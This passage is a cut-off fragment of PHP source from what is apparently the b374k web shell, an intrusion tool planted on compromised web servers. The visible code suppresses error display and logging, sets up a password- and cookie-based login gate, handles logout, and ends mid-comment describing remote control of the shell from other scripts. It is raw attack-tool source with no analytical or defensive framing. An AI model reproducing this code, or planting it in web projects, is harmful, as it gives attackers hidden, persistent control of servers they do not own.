$v){
if(is_array($v)) $v = print_r($v, true);
echo "".hss($k."=>".$v)."
";
}
}
else{
error_reporting(0);
@ini_set('display_errors','0');
@ini_set('log_errors','0');
}
$s_auth = false; // login status
if(strlen(trim($s_pass))>0){
if(isset($_COOKIE['b374k'])){
if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
}
if(isset($_GP['login'])){
$s_login = kript($_GP['login']);
if(strtolower(trim($s_pass)) == $s_login){
setcookie("b374k",$s_login,time() + $s_login_time);
$s_auth = true;
}
}
if(isset($_GP['x']) && ($_GP['x']=='logout')){
$persist = array("theme", "cwd");
$s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
foreach($_COOKIE as $s_k=>$s_v){
if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time);
}
$s_auth = false;
if(!empty($s_reload)) header("Location: ".$s_reload);
}
}
else $s_auth = true;
// This is a feature where you can control this script from another apps/scripts
// you need to supply password (in sha1(md5()) format) to access t